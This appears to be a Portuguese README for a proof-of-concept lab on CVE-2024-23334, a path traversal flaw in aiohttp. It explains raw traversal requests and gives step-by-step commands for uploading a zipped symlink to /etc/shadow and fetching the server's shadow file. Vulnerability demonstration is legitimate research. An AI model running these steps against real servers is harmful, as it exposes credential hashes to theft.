
Este repositório contém uma prova de conceito sobre a exploração da biblioteca aiohttp para a vulnerabilidade reportada CVE-2024-23334.
Este repositório contém uma prova de conceito sobre a exploração da biblioteca aiohttp para a vulnerabilidade reportada CVE-2024-23334.
Isto foi criado por dois motivos:
Para mais informações, visite meu site: https://brianre.dev/
make build
make run
Se quiser executar o docker em modo detached, execute:
make rund
python3 exploits/exploit_path_traversal.py
Ao executar o script, estamos realizando uma requisição HTTP bruta ao servidor. Fazemos dessa forma e não usando curl ou acessando diretamente no navegador, pois essas ferramentas incluem sanitização e normalização de URLs antes de enviar a requisição HTTP. Isso inclui a normalização de caminho: ferramentas como curl e navegadores processam o caminho da URL, removendo sequências como .. que são usadas para directory traversal. Portanto, um caminho como /static/../../../../../../../../../../../../etc/shadow será normalizado para /etc/shadow, e como tal caminho normalmente não existe como recurso em um servidor web padrão, resulta em um erro 404.
O cenário criado neste repositório foi apenas para explicar a vulnerabilidade e provar que ela existe e ainda é explorável.
A forma de realizar isso é com um arquivo compactado, para que assim consigamos enviar o symlink e, quando descompactado no servidor, ele gere esse mesmo symlink. Enviar um symlink diretamente via curl como um arquivo link.jpeg lerá apenas o arquivo local que o symlink está apontando e enviará o arquivo original em seu lugar. Portanto, se quisermos mirar em um caminho específico do sistema de arquivos do servidor, devemos conseguir enviar um arquivo compactado, como .zip ou .tar.gz.
Para reproduzir este segundo cenário, você deve seguir estes passos:
touch /etc/shadow # Cria um arquivo na sua máquina no diretório especificado. Certifique-se de não substituir um arquivo existente.
ln -s /etc/shadow exploit.jpeg # Cria um symlink com o arquivo /etc/shadow e o nomeia exploit.jpeg
zip -y images.zip exploit.jpeg # Compacta o symlink
curl -X POST -F "[email protected]" http://localhost:8080/upload # Envia o arquivo zip
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Acessa o symlink e, como o aiohttp tem a vulnerabilidade, retorna o /etc/shadow do servidor.
TODO
Para configurar o projeto localmente para desenvolvimento, você deve:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt